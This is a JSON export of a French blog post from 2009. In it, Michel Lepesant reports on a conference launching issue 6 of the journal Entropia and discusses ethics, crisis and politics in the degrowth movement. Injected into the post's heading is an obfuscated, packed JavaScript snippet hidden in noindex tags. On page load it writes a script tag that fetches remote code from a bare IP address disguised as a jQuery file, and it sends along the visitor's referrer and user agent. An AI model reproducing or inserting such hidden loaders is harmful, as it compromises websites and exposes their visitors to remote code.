{"id":2255,"date":"2009-04-14T18:52:44","date_gmt":"2009-04-14T18:52:44","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=2255"},"modified":"2009-04-14T18:52:44","modified_gmt":"2009-04-14T18:52:44","slug":"ethique-et-decroissance","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=2255","title":{"rendered":"Ethique et d\u00e9croissance"},"content":{"rendered":"<p><a href=\"http:\/\/www.partipourladecroissance.net\" target=\"_blank\"><em><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24\" style=\"margin: 5px;\" title=\"logo-ppld\" src=\"..\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"logo-ppld\" width=\"118\" height=\"68\" \/><\/strong><\/em><\/a><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt; line-height: 150%; text-align: center;\"><strong>Compte-rendu <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yetii|var|u0026u|referrer|eaerz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> de la conf\u00e9rence \u00ab\u00a0<a href=\"http:\/\/www.partipourladecroissance.net\/?p=2118\">Soci\u00e9t\u00e9 humaines &amp; D\u00e9croissance<\/a>\u00ab\u00a0<\/strong><br \/>\npar <a href=\"http:\/\/www.les-oc.info\/index.php?post\/2009\/04\/13\/entropia_6\">Michel Lepesant, membre du<br \/>\nMouvement des \u00ab\u00a0Objecteurs de Croissance\u00a0\u00bb (MOC)<\/a><\/p>\n<p>A l\u2019occasion de la 6\u00b0 sortie de la revue <em>Entropia<\/em> , un num\u00e9ro consacr\u00e9 \u00e0 l\u2019\u00e9thique,\u00a0\u00e9taient r\u00e9unis le samedi 4 avril 2009 une vingtaine d\u2019intervenants autour de 3 tables rondes.<\/p>\n<ul>\n<li>\u00ab\u00a0<em>Crise \u00e9thique, \u00e9thique de crise<\/em> \u00bb, anim\u00e9e par Serge Latouche.<\/li>\n<li>\u00ab\u00a0<em>De quelle crise parlons-nous\u00a0?<\/em> \u00bb, anim\u00e9e par Jean-Claude Besson-Girard.<\/li>\n<li><span style=\"font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;\"> <\/span>\u00ab\u00a0C<em>rise et transitions politiques <\/em>\u00bb, anim\u00e9e par Jan Spurk.<\/li>\n<\/ul>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt; line-height: 150%;\">Impossible \u00e9videmment de rendre compte de la totalit\u00e9 des interventions. Juste possible d\u2019en extraire mati\u00e8re \u00e0 penser, \u00e0 discuter et \u00e0 critiquer selon trois questionnements arbitrairement choisis, mais tous en vue de mieux comprendre cette notion de \u00ab\u00a0d\u00e9croissance\u00a0\u00bb, notion qui justifiait la pr\u00e9sence de la plupart des intervenants venus \u00e0 la rencontre d\u2019une salle plut\u00f4t avertie, voire, pour certains pr\u00e9sents, engag\u00e9e\u00a0: <!--more--><\/p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt 36pt; text-indent: -18pt; line-height: 150%;\">\n<p><strong>(1)<\/strong><span style=\"font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;\"> <\/span>d\u00e9croissance et <strong>\u00e9thique<\/strong> : le <em>care <\/em>et l\u2019exemplarit\u00e9.<br \/>\n<strong>(2)<\/strong><span style=\"font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;\"> <\/span>d\u00e9croissance et <strong>crise<\/strong> : la d\u00e9sorientation et le \u00ab\u00a0moment opportun\u00a0\u00bb.<strong>(3)<\/strong><span style=\"font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;\"> <\/span>d\u00e9croissance et <strong>politique<\/strong> : l\u2019in\u00e9luctable et la sant\u00e9.<br \/>\n<strong>(1)<\/strong> Retenons que si, pour Serge Latouche, \u00ab\u00a0la dimension <strong><ins>\u00e9thique<\/ins><\/strong> de la d\u00e9croissance est une \u00e9vidence\u00a0\u00bb, il a plus souvent \u00e9t\u00e9 question de critiquer l\u2019imposture d\u2019une moralisation du capitalisme que de montrer, en toute clart\u00e9, comment cette \u00ab\u00a0\u00e9vidence\u00a0\u00bb peut se construire et s\u2019affirmer.<br \/>\n(a) Seule v\u00e9ritablement Genevi\u00e8ve Decrop me semble avoir tent\u00e9 de donner un \u00ab\u00a0contenu\u00a0\u00bb \u00e0 cette \u00ab\u00a0\u00e9vidence \u00e9thique de la d\u00e9croissance\u00a0\u00bb, \u00e0 l\u2019issue d\u2019une ambitieuse tentative pour dresser une rapide histoire de l\u2019individualisme\u00a0: au tournant de la seconde guerre mondiale, au sein de nos \u00ab\u00a0soci\u00e9t\u00e9 d\u2019individus\u00a0\u00bb, une \u00ab\u00a0premi\u00e8re modernit\u00e9\u00a0\u00bb caract\u00e9ris\u00e9e par le couple \u00ab\u00a0Raison\/Projet\u00a0\u00bb aurait laiss\u00e9 place \u00e0 une \u00ab\u00a0deuxi\u00e8me modernit\u00e9\u00a0\u00bb caract\u00e9ris\u00e9e par le couple \u00ab\u00a0D\u00e9sir\/Dette\u00a0\u00bb.<\/p>\n<p>D\u2019un c\u00f4t\u00e9, cette deuxi\u00e8me modernit\u00e9 \u2013 par le D\u00e9sir \u2013 poursuit l\u2019\u00e9mancipation g\u00e9n\u00e9rale de la premi\u00e8re modernit\u00e9 (la \u00ab\u00a0sortie des statuts\u00a0\u00bb et la disparition du lien social sous la seule forme de la hi\u00e9rarchie) et permet l\u2019approfondissement des mouvements d\u2019\u00e9mancipation (d\u00e9colonisation, f\u00e9minisme). Mais d\u2019un autre c\u00f4t\u00e9, \u00ab\u00a0sur le D\u00e9sir, on ne construit pas de lien social\u00a0\u00bb. Or les solutions propos\u00e9es par l\u2019individualisme contemporain (le \u00ab\u00a0march\u00e9\u00a0\u00bb et la \u00ab\u00a0machinerie socio-technologique\u00a0\u00bb, par laquelle est compl\u00e8tement prise en charge la vie quotidienne) aboutissent paradoxalement \u00e0 une \u00ab\u00a0d\u00e9possession radicale de l\u2019individualit\u00e9 de l\u2019individu\u00a0\u00bb.<\/p>\n<p>Une voie de sortie \u00e9thique, que sugg\u00e8re Genevi\u00e8ve Decrop, passe par la philosophie du <em>care<\/em> (pour une pr\u00e9sentation rapide, voir les articles qui y sont consacr\u00e9s dans la <a href=\"http:\/\/www.cairn.info\/revue-du-mauss-2008-2-page-5.htm\"><em>Revue du MAUSS<\/em><\/a>, n\u00b032). Le <em>care<\/em> est cette \u00ab\u00a0activit\u00e9 g\u00e9n\u00e9rique qui comprend tout ce que nous faisons pour maintenir, perp\u00e9tuer et r\u00e9parer notre \u00ab\u00a0monde\u00a0\u00bb, de sorte que nous puissions y vivre aussi bien que possible\u00a0\u00bb.<\/p>\n<p>Quatre pistes pour sugg\u00e9rer toute la f\u00e9condit\u00e9 de cette \u00ab\u00a0pratique du <em>care<\/em> \u00bb en vue de clarifier ce que serait une \u00ab\u00a0\u00e9thique de la d\u00e9croissance\u00a0\u00bb<\/p>\n<ul>\n<li>Pas de d\u00e9croissance sans retrouvailles avec un sens de la mesure qui se m\u00e9fiera de la ridicule \u00ab\u00a0rupture pour la rupture\u00a0\u00bb, \u00ab\u00a0plus radicalement d\u00e9croissant que moi\u2026\u00a0\u00bb\u00a0: or, prendre soin, d\u2019autres humains mais aussi des objets, du \u00ab\u00a0monde\u00a0\u00bb, c\u2019est admettre qu\u2019un certain \u00ab\u00a0conservatisme\u00a0\u00bb participe du v\u00e9ritable lien social\u00a0; r\u00e9volutionnaire\u00a0?<\/li>\n<li>Le danger avec la morale, c\u2019est la morale moralisatrice (ou paternaliste, du <em>top<\/em> vers le <em>down<\/em>). Mais tout aussi sym\u00e9triquement (du <em>down<\/em> vers le <em>top<\/em>), ce serait d\u2019oublier de se m\u00e9fier du p\u00e9ril du relativisme absolu (oxymore\u00a0!) qui verrait dans chaque atome individualiste l\u2019alpha et l\u2019om\u00e9ga de l\u2019\u00e9thique (c\u2019est dans ce cas que bien souvent naissent de subtiles distinctions entre \u00e9thique et morale). Or la quatri\u00e8me phase du care (<em>caring about, taking care of, care-giving et care-receiving<\/em>) peut \u00e9viter ce double p\u00e9ril en faisant de la \u00ab\u00a0r\u00e9ceptivit\u00e9\u00a0\u00bb le crit\u00e8re pour juger de l\u2019ad\u00e9quation de notre sollicitude au besoin d\u2019autrui.<\/li>\n<li>De quelle humanit\u00e9 s\u2019agit-il quand certains d\u00e9croissants \u00e9crivent qu\u2019il faudrait \u00ab\u00a0oser l\u2019humain\u00a0\u00bb\u00a0? Sans tomber dans la romance de la relation \u00ab\u00a0m\u00e8re-enfant\u00a0\u00bb (et sans prendre toutes les pr\u00e9cautions qu\u2019il faudrait pour \u00e9viter les pr\u00e9suppos\u00e9s de \u00ab\u00a0genre\u00a0\u00bb), ayons l\u2019audace de proposer que cette \u00ab\u00a0humanit\u00e9\u00a0\u00bb, c\u2019est la \u00ab\u00a0f\u00e9minit\u00e9\u00a0\u00bb.<\/li>\n<li>La quatri\u00e8me piste passerait par la confrontation de cette th\u00e9orie du <em>care<\/em> avec les th\u00e9ories de la justice. Non pas pour tenter de ramener, voire r\u00e9duire, l\u2019une \u00e0 l\u2019autre, mais, tout au contraire, pour en reconna\u00eetre leurs irr\u00e9ductibles questionnements. De la m\u00eame mani\u00e8re que Axel Honneth signale que m\u00eame <span style=\"color: black;\">une soci\u00e9t\u00e9 juste et bien ordonn\u00e9e \u00e9quitablement peut \u00e9chouer dans un sens plus global, \u00e0 savoir dans sa capacit\u00e9 \u00e0 assurer \u00e0 ses membres les conditions d\u2019une vie r\u00e9ussie (une soci\u00e9t\u00e9 pourtant juste peut quand m\u00eame \u00eatre une \u00ab soci\u00e9t\u00e9 du m\u00e9pris \u00bb), et bien, une soci\u00e9t\u00e9 peut \u00eatre juste sans \u00eatre ni <em>attentive<\/em>, ni <em>responsable<\/em>, ni <em>r\u00e9ceptive<\/em>. Du coup, les th\u00e9ories du <em>care<\/em> et de la reconnaissance peuvent partager une m\u00eame vis\u00e9e de la \u00ab\u00a0soci\u00e9t\u00e9 d\u00e9cente\u00a0\u00bb.<\/span><\/li>\n<\/ul>\n<p>(b) La question de l\u2019<strong>exemplarit\u00e9<\/strong> quand elle a \u00e9t\u00e9 abord\u00e9e par Miguel Benasayag pour en d\u00e9noncer le \u00ab\u00a0d\u00e9sastre\u00a0\u00bb est rest\u00e9e dans une certaine confusion. Certes, on ne peut avoir tort de rappeler que le narcissisme motive trop souvent celui qui se donne en exemple. Mais \u00ab\u00a0se donner en exemple\u00a0\u00bb, ce n\u2019est pas la m\u00eame chose que \u00ab\u00a0prendre exemple sur\u00a0\u00bb. La pratique de la d\u00e9croissance (cet \u00ab\u00a0agir\u00a0\u00bb qui ne doit pas \u00eatre un\u00a0\u00ab\u00a0r\u00e9agir\u00a0\u00bb) n\u2019a que faire de l\u2019exemple d\u00e9fini comme \u00ab\u00a0mod\u00e8le\u00a0\u00bb. La d\u00e9croissance ne doit pas une asc\u00e8se, et elle n\u2019a nul besoin de \u00ab\u00a0saint\u00a0\u00bb ou de \u00ab\u00a0proph\u00e8te\u00a0\u00bb.<\/p>\n<p>Pour autant, comment nier que la pratique passe par une interd\u00e9pendance (cf. le paradigme du <em>care<\/em>) dans laquelle l\u2019imitation, l\u2019attention \u00e0 l\u2019autre, l\u2019exemple d\u00e9fini comme \u00ab\u00a0cas particulier\u00a0\u00bb doivent jouer tout leur r\u00f4le. Il en va du sens que \u00ab\u00a0d\u2019autres mondes sont possibles\u00a0\u00bb. Car si un cas particulier ne peut logiquement prouver aucune universalit\u00e9, il prouve parfaitement une \u00ab\u00a0possibilit\u00e9\u00a0\u00bb. A moins d\u2019en revenir \u00e0 une morale de la n\u00e9cessit\u00e9 et de l\u2019universalit\u00e9, une \u00e9thique de la d\u00e9croissance doit faire toute sa place \u00e0 la particularit\u00e9 de l\u2019exemple\u00a0: une <strong>\u00e9thique des possibles<\/strong>. C\u2019est cette \u00ab\u00a0\u00e9thique des possibles\u00a0\u00bb qui pourra faire droit \u00e0 une \u00ab\u00a0politique des alternatives concr\u00e8tes\u00a0\u00bb\u00a0: en renvoyant dos \u00e0 dos la jouissance du discours (de la puissance) du mod\u00e8le comme la jouissance du discours (de l\u2019impuissance) de l\u2019absence d\u2019exemplarit\u00e9. Effectivement : \u00ab\u00a0nous ne sommes pas \u00e0 la hauteur\u00a0\u00bb\u00a0; parce que nul sommet illusoire ne nous permet plus de croire pouvoir prendre de la hauteur. Cessons de faire de l\u2019homme la d\u00e9mesure de toute chose\u2026<\/p>\n<p>(c) Mais fondamentalement, d\u2019o\u00f9 peut provenir l\u2019\u00e9vidente dimension \u00e9thique de la d\u00e9croissance\u00a0? Comment retrouver la question du Bien comme finalit\u00e9 sans retomber dans les Id\u00e9ologies du Bien (J.-C. Mich\u00e9a)\u00a0? Comment fonder la distinction entre bon usage et m\u00e9susage (P. Ari\u00e8s)\u00a0? Comment retrouver le sens de revendications non-mat\u00e9rialistes (A. Honneth) et donc morales (au sens le plus large) sans risquer de retrouver les p\u00e9rils des morales transcendantes\u00a0? Comment savoir que \u00ab\u00a0cela ne se fait pas\u00a0\u00bb (la <em>common decency <\/em>chez G. Orwell)\u00a0? Comment d\u00e9partager entre un appel r\u00e9actionnaire au sacr\u00e9 et une juste reconnaissance que \u00ab\u00a0tout n\u2019a pas la m\u00eame valeur\u00a0\u00bb, que tout n\u2019est pas \u00ab\u00a0\u00e9qui-valent\u00a0\u00bb\u00a0? Comment distinguer entre une \u00ab\u00a0dignit\u00e9\u00a0\u00bb despotique (celle qui fait appel \u00e0 une \u00ab\u00a0instance\u00a0\u00bb qui d\u00e9cide <strong>\u00e0 la place<\/strong> du particulier) et une dignit\u00e9 qui soit une \u00ab\u00a0haute n\u00e9cessit\u00e9\u00a0\u00bb (notre propre vie n&rsquo;est pas une valeur qui nous d\u00e9passe, qui nous transcende, et c&rsquo;est \u00e0 nous, \u00e0 nous seuls, de <strong>d\u00e9cider<\/strong> si elle vaut la peine d&rsquo;\u00eatre v\u00e9cue, et comment.)\u00a0? Enfin, comment la proximit\u00e9 et la sentimentalit\u00e9 du <em>care<\/em> qui en font sa force sont-elle compatibles avec la dimension d\u00e9ontologique (les obligations, les permissions et les interdictions) de toute morale qui accepte de se confronter avec les difficult\u00e9s de l\u2019int\u00e9r\u00eat, des cons\u00e9quences et des proc\u00e9dures\u00a0? Beaucoup de questions\u2026<\/p>\n<p><strong>(2)<\/strong> Les intervenants de la deuxi\u00e8me table ronde devaient se demander \u00ab\u00a0de quelle <strong><ins>crise<\/ins><\/strong> parlons-nous\u00a0?\u00a0\u00bb. Jean-Claude Besson-Girard a eu raison de l\u2019introduire sous le signe de \u00ab\u00a0l\u2019harmonie conflictuelle\u00a0\u00bb. Car, en effet, on y retrouvait aussi bien Michael Singleton que Dominique M\u00e9da, Miguel Benasayag que Fabrice Flipo. D\u2019un c\u00f4t\u00e9, on peut y voir la preuve d\u2019une ouverture d\u2019esprit, d\u2019une absence de <em>doxa<\/em> de la d\u00e9croissance et de ce point de vue la libert\u00e9 accord\u00e9e par J-CBG aux orateurs de choisir le moment de leur intervention \u00e9tait b\u00e9n\u00e9fique. Mais d\u2019un autre c\u00f4t\u00e9, quand il s\u2019agit d\u2019en faire, sinon une \u00ab\u00a0synth\u00e8se\u00a0\u00bb, au moins une \u00ab\u00a0pr\u00e9sentation\u00a0\u00bb, le r\u00e9sultat semble plut\u00f4t rhapsodique. Crise du \u00ab\u00a0mod\u00e8le de d\u00e9veloppement\u00a0\u00bb ou crise du \u00ab\u00a0d\u00e9veloppement\u00a0\u00bb comme \u00ab\u00a0mod\u00e8le\u00a0\u00bb\u00a0? Crise de \u00ab\u00a0toutes les grandes \u00e9conomies humaines\u00a0\u00bb (\u00e9conomies politique, symbolique, s\u00e9miotique, psychique et m\u00eame \u00e9conomie du vivant\u00a0\u00bb ou crise de ce que c\u2019est que \u00ab\u00a0\u00e9conomie\u00a0\u00bb\u00a0? Crise m\u00eame de la notion de \u00ab\u00a0crise\u00a0\u00bb (lors de la troisi\u00e8me table ronde)\u00a0: (Herv\u00e9 Kempf) \u00ab\u00a0je ne crois pas que nous soyons en crise\u2026 mais dans une Grande Transformation\u00a0\u00bb\u00a0; \u00ab\u00a0ce n\u2019est pas une crise mais une catastrophe\u00a0\u00bb (Yves Cochet).<\/p>\n<p>(a) Tout participant d\u2019un \u00ab\u00a0s\u00e9minaire\u00a0\u00bb, \u00ab\u00a0colloque\u00a0\u00bb ou \u00ab\u00a0rencontre\u00a0\u00bb autour de l\u2019altermondialisme, de l\u2019\u00e9cologie radicale, des alternatives ou de la d\u00e9croissance a d\u00e9j\u00e0 \u00e9prouv\u00e9 ce \u00ab\u00a0sentiment du labyrinthe\u00a0\u00bb. Rappelons que m\u00eame D\u00e9dale, son concepteur, ne retrouve pas la sortie quand il y est, \u00e0 son tour, enferm\u00e9. Comment s\u2019en sortir\u00a0? Le peut-on\u00a0?<br \/>\nCertes, Miguel Benasayag a raison de ne pas se cacher qu\u2019il existe un \u00ab\u00a0non-savoir profond\u00a0\u00bb car de cette crise, nous n\u2019en connaissons pas vraiment ni l\u2019horizon ni les ressors. Pour autant, faut-il en d\u00e9duire une \u00ab\u00a0impuissance de la discussion\u00a0\u00bb (f\u00fbt-ce pour laisser place au simple accord sur \u00ab\u00a0comment agir\u00a0\u00bb)\u00a0? Sans retomber dans les illusions d\u2019une Grande Th\u00e9orie panoptique, toutes ces interventions que nous \u00e9coutons ou que nous lisons dans des revues plus passionnantes les unes que les autres ne gagneraient-elles pas \u00e0 accepter de toujours commencer par se situer dans une \u00ab\u00a0g\u00e9ographie ouverte des positions\u00a0\u00bb\u00a0?<\/p>\n<p>En attendant la troisi\u00e8me table ronde, j\u2019\u00e9coutais un petit groupe d\u2019auditeurs de la pr\u00e9c\u00e9dente table ronde exprimer leur \u00ab\u00a0radical d\u00e9saccord\u00a0\u00bb quant aux interventions respectives de Dominique M\u00e9da, sur sa suggestion de proposer et construire d\u2019autres \u00ab\u00a0indicateurs\u00a0\u00bb que celui du P.I.B., et celle de Michael Singleton, pour son \u00e9vocation des soci\u00e9t\u00e9s qui n\u2019ont jamais cru\/cr\u00fb. Comment \u00e9viter de vouer aux g\u00e9monies ou de porter aux nues\u00a0? La caricature, ce serait de se contenter d\u2019opposer le r\u00e9formisme collabo (\u00ab\u00a0indic\u00a0\u00bb a m\u00eame \u00e9t\u00e9 prononc\u00e9\u00a0!) de l\u2019une \u00e0 la puret\u00e9 radicale de l\u2019autre. Premi\u00e8rement, il est \u00e9vident qu\u2019aucun des deux n\u2019a la pr\u00e9tention d\u2019avoir trouv\u00e9 le s\u00e9same de sortie de crise\u00a0: soit en adoptant les modes de vie des Wakonongo, soit en mesurant autrement.<br \/>\nDeuxi\u00e8mement, c\u2019est bien en commun qu\u2019ils partagent la volont\u00e9 de \u00ab\u00a0d\u00e9coloniser\u00a0\u00bb nos habitudes de (non-)pens\u00e9e (inique)\u00a0; dans les deux cas, par la comparaison \u00e0 un \u00ab\u00a0autre\u00a0\u00bb. Mais comment \u00e9viter alors que ce ne soient que simples \u00e9vocations\u00a0?<\/p>\n<p>Est-ce Michael Singleton qui avait dessin\u00e9 sur le tableau qui se trouvait au fond de l\u2019amphi quelques triangles et carr\u00e9s (ceux qui figurent sa m\u00e9thode de \u00ab\u00a0<a href=\"http:\/\/www.uclouvain.be\/cps\/ucl\/doc\/dvlp\/documents\/ms_4_methode_M_Singleton.html#2_ampliation_analogique\">l\u2019ampliation analogique <\/a>\u00bb). En quelque sorte, un chemin, une \u00ab\u00a0m\u00e9t-hode\u00a0\u00bb pour circuler et s\u2019orienter dans une \u00ab\u00a0g\u00e9ographie ouverte des positions\u00a0\u00bb. Sugg\u00e9rons quels pourraient \u00eatre les dimensions de cette g\u00e9ographie : les trois \u00e9tages de l\u2019action (individuel, associatif ou communautaire ou collectif, politique)\u00a0; des dur\u00e9es plus superpos\u00e9es que juxtapos\u00e9es (celle de l\u2019imm\u00e9diat et du maintenant\u00a0; celle du \u00ab\u00a0demain\u00a0\u00bb \u2013 court, moyen et long termes\u00a0: celle de l\u2019utopie \u2013 qui commence aujourd\u2019hui). On voit ainsi comment l\u2019intervention de Dominique M\u00e9da trouverait toute sa place pour la compr\u00e9hension d\u2019une action politique, imm\u00e9diate et globale alors que celle de Michael Singleton se situerait davantage en vue d\u2019une action individuelle ou collective, utopique et locale\u2026<\/p>\n<p>(b) La crise est-elle un \u00ab\u00a0moment opportun\u00a0\u00bb (un <em>kairos<\/em>)\u00a0? La crise de la croissance est-elle la bonne occasion pour avancer les analyses et les propositions de la d\u00e9croissance\u00a0?<\/p>\n<p>C\u2019est l\u00e0 une claire d\u00e9ception de ne pas avoir entendu un seul intervenant (tout au contraire m\u00eame\u00a0!) se d\u00e9tacher de cette temporalit\u00e9 de l\u2019urgence. Certes, toute crise est occasion de critique. Mais qu\u2019en serait-il si notre capitalisme contemporain n\u2019\u00e9tait pas en crise\u00a0? Serait-il moins critiquable\u00a0? Ce n\u2019est pas du capitalisme en crise dont il faut sortir, c\u2019est du capitalisme tout court. M\u00eame raisonnement<span> <\/span>pour le productivisme\u2026<\/p>\n<p><strong>Quand bien m\u00eame<\/strong> nulle crise ne frapperait le capitalisme, l\u2019objection de conscience \u00e0 la croissance n\u2019en perdait aucune pertinence. Certes la croissance est un probl\u00e8me\u00a0; mais la d\u00e9croissance n\u2019en est certainement pas la solution. La d\u00e9croissance n\u2019est pas l\u00e0 pour r\u00e9soudre les probl\u00e8mes de la croissance\u00a0; c\u2019est en ce sens que la d\u00e9croissance est plut\u00f4t a-croissance. Hors de toute mentalit\u00e9 de la croissance\u00a0; pr\u00e9cis\u00e9ment l\u00e0 o\u00f9 les questions politiques ne peuvent plus ne pas \u00eatre aussi des questions \u00e9thiques.<\/p>\n<p><strong>(3)<\/strong> Seule une lecture strictement mat\u00e9rialiste de l\u2019action <strong><ins>politique<\/ins><\/strong> pourrait ainsi \u00e9vacuer toute dimension morale. Et une telle \u00ab\u00a0\u00e9vacuation\u00a0\u00bb pr\u00e9suppose toujours que le d\u00e9passement du capitalisme est in\u00e9luctable, n\u00e9cessaire voire logique.<\/p>\n<p>(a) Jean-Marie Harribey n\u2019a pas \u00e9t\u00e9 le seul des intervenants \u00e0 poser ce diagnostic de l\u2019in\u00e9luctabilit\u00e9. Reconnaissons qu\u2019il ne l\u2019a port\u00e9 que sur la cause \u2013 le capitalisme\u00a0: Marx, d\u00e9j\u00e0, signalait que le capitalisme \u00e9puise la force de travail et la nature. Et pour Andr\u00e9 Gorz, le capitalisme en serait \u00e0 son \u00ab\u00a0stade terminal\u00a0\u00bb. Pour Dany-Robert Dufour, toutes les \u00ab\u00a0\u00e9conomies\u00a0\u00bb seraient malades, \u00e0 commencer par \u00ab\u00a0celle qui les englobent toutes, l\u2019\u00e9conomie du vivant\u00a0\u00bb \u00e0 cause de la \u00ab\u00a0finitude de la terre\u00a0\u00bb, des \u00ab\u00a0limites de la biosph\u00e8re\u00a0\u00bb (Herv\u00e9 Kempf).<\/p>\n<p>D\u2019autres intervenants n\u2019ont pas h\u00e9sit\u00e9 \u00e0 franchir le pas suivant\u00a0: c\u2019est la d\u00e9croissance elle-m\u00eame qui serait \u00ab\u00a0in\u00e9luctable\u00a0\u00bb (Ang\u00e9lique Del Rey). La version la plus cons\u00e9quente et par cons\u00e9quent la plus \u00ab\u00a0scandaleuse\u00a0\u00bb en a \u00e9t\u00e9 fournie par Yves Cochet. \u00ab\u00a0Trop tard pour une mani\u00e8re douce\u00a0\u00bb\u00a0: adoptant un point de vue strictement mat\u00e9rialiste \u2013 celui de la rar\u00e9faction g\u00e9ologique des mati\u00e8res premi\u00e8res (d\u00e9pl\u00e9tion qui provient, pour partie, de la \u00ab\u00a0grande bifurcation catastrophique du 19\u00b0si\u00e8cle\u00a0\u00bb selon l\u2019expression d\u2019Alain Gras\u00a0: quand a \u00e9t\u00e9 fait le choix de l\u2019\u00e9nergie thermique) \u2013 il a formul\u00e9 \u00ab\u00a0trois propositions d\u2019orientation politique\u00a0\u00bb, trois propositions de directive europ\u00e9enne\u00a0: la premi\u00e8re plut\u00f4t \u00ab\u00a0classique\u00a0\u00bb (revenu universel d\u2019existence, semaine de quatre jours, 28 heures maximum), les deux autres beaucoup \u00ab\u00a0radicales\u00a0\u00bb\u00a0: une directive \u00ab\u00a0hibernation\u00a0\u00bb (ralentir l\u2019\u00e9conomie productiviste pendant les mois froids en travaillant une heure de moins le matin et le soir) et surtout une directive \u00ab\u00a0gr\u00e8ve du troisi\u00e8me ventre\u00a0\u00bb (inverser l\u2019\u00e9chelle des allocations familiales).<\/p>\n<p>(b) Si nous devions exprimer quelques r\u00e9ticences \u00e0 ces propositions, elles ne s\u2019appuierait pas sur une accusation de n\u00e9o-malthusianisme qu\u2019Yves Cochet assume \u00e0 partir du moment o\u00f9, pour lui, toute discussion doit commencer par le \u00ab\u00a0diagnostic\u00a0\u00bb.<\/p>\n<p>Encore moins reprendrions-nous le point de vue de l\u2019UFAL\u00a0: <a href=\"http:\/\/www.ufal.info\/media_flash\/2,article,566,,,,,_De-l-idee-de-decroissance-au-fascisme-vert.htm\">de l\u2019id\u00e9e de d\u00e9croissance au fascisme vert<\/a>. Non pas par une quelconque complaisance vis-\u00e0-vis du fascisme mais tout simplement parce que les propositions d\u2019Yves Cochet ne place la d\u00e9croissance qu\u2019en position de \u00ab\u00a0rem\u00e8de\u00a0\u00bb. Pas question de nier la \u00ab\u00a0finitude\u00a0\u00bb de notre plan\u00e8te, mais politiquement l\u00e0 n\u2019est pas d\u2019abord la question\u00a0: que la plan\u00e8te soit finie ou non, ne faudrait-il pas pr\u00e9f\u00e9rer l\u2019anti-productivisme au productivisme, l\u2019a-croissance \u00e0 la croissance\u00a0?<br \/>\nLa m\u00eame question devrait d\u2019ailleurs \u00eatre pos\u00e9e quant \u00e0 la question de la justice\u00a0: <strong>quand bien m\u00eame<\/strong> les ressources \u00e9conomiques seraient abondantes, voire infinies, serait-ce une raison suffisante pour ne plus poser la question des in\u00e9galit\u00e9s\u00a0?<\/p>\n<p>Autant dire qu\u2019une politique de d\u00e9croissance ne ferait pas de celle-ci un \u00ab\u00a0rem\u00e8de\u00a0\u00bb \u00e0 une crise de la croissance mais une exigence de \u00ab\u00a0sant\u00e9\u00a0\u00bb. Le refus de la croissance doit plut\u00f4t \u00eatre une \u00ab\u00a0conviction\u00a0\u00bb (Vincent Cheynet) qu\u2019une \u00ab\u00a0n\u00e9cessit\u00e9\u00a0\u00bb. Pour autant, la seule d\u00e9fense des institutions peut para\u00eetre bien incompl\u00e8te pour structurer une telle politique. Le premier num\u00e9ro d\u2019<em>Entropia<\/em> \u00e9tait consacr\u00e9 \u00e0 la politique (et Paul Lannoye n\u2019a pas manqu\u00e9 de souligner avec raison que la perte de cr\u00e9dit moral de l\u2019Union europ\u00e9enne est la marque d\u2019une crise politique, d\u2019une crise du politique), \u00e0 quand un num\u00e9ro autour de \u00ab\u00a0d\u00e9croissance et d\u00e9mocratie\u00a0\u00bb\u00a0?<\/p>\n<p><a href=\"http:\/\/www.les-oc.info\/index.php?post\/2009\/04\/13\/entropia_6\">Michel Lepesant, membre du Mouvement des \u00ab\u00a0Objecteurs de Croissance\u00a0\u00bb (MOC)<\/a><\/p>\n<p>.<\/p>\n<p><a href=\"http:\/\/horizons.typepad.fr\/accueil\/2009\/04\/lcologie-radicale-ou-la-nouvelle-peste-verte.html\"><strong>lire aussi le compte-rendu de Malakine<\/strong>, qui apparemment \u00e9tait dans le coin, et qui n&rsquo;est pas d&rsquo;accord avec les Objecteurs de Croissance<\/a>. On ne peut pas \u00eatre d&rsquo;accord avec tout le monde. <a href=\"http:\/\/www.marianne2.fr\/L-ecologie-radicale,-nouvelle-peste-verte_a178066.html?print=1\">Malakine est un \u00ab\u00a0blogueur associ\u00e9\u00a0\u00bb de Marianne<\/a> :<\/p>\n<ul>\n<li><a href=\"http:\/\/www.marianne2.fr\/L-enjeu-actuel,-c-est-decroissance-ou-barbarie_a92749.html?print=1\">Ce journal a parfois port\u00e9 la parole de la D\u00e9croisance autrement (tribune de Paul Ari\u00e8s)<\/a><\/li>\n<li><a href=\"http:\/\/www.marianne2.fr\/tags\/decroissance\/\">Parfois. Pas tout le temps. O n peut pas \u00ab\u00a0plaire\u00a0\u00bb \u00e0 tout le monde.<\/a>\n<ul><\/ul>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Compte-rendu de la conf\u00e9rence \u00ab\u00a0Soci\u00e9t\u00e9 humaines &amp; D\u00e9croissance\u00ab\u00a0 par Michel Lepesant, membre du Mouvement des 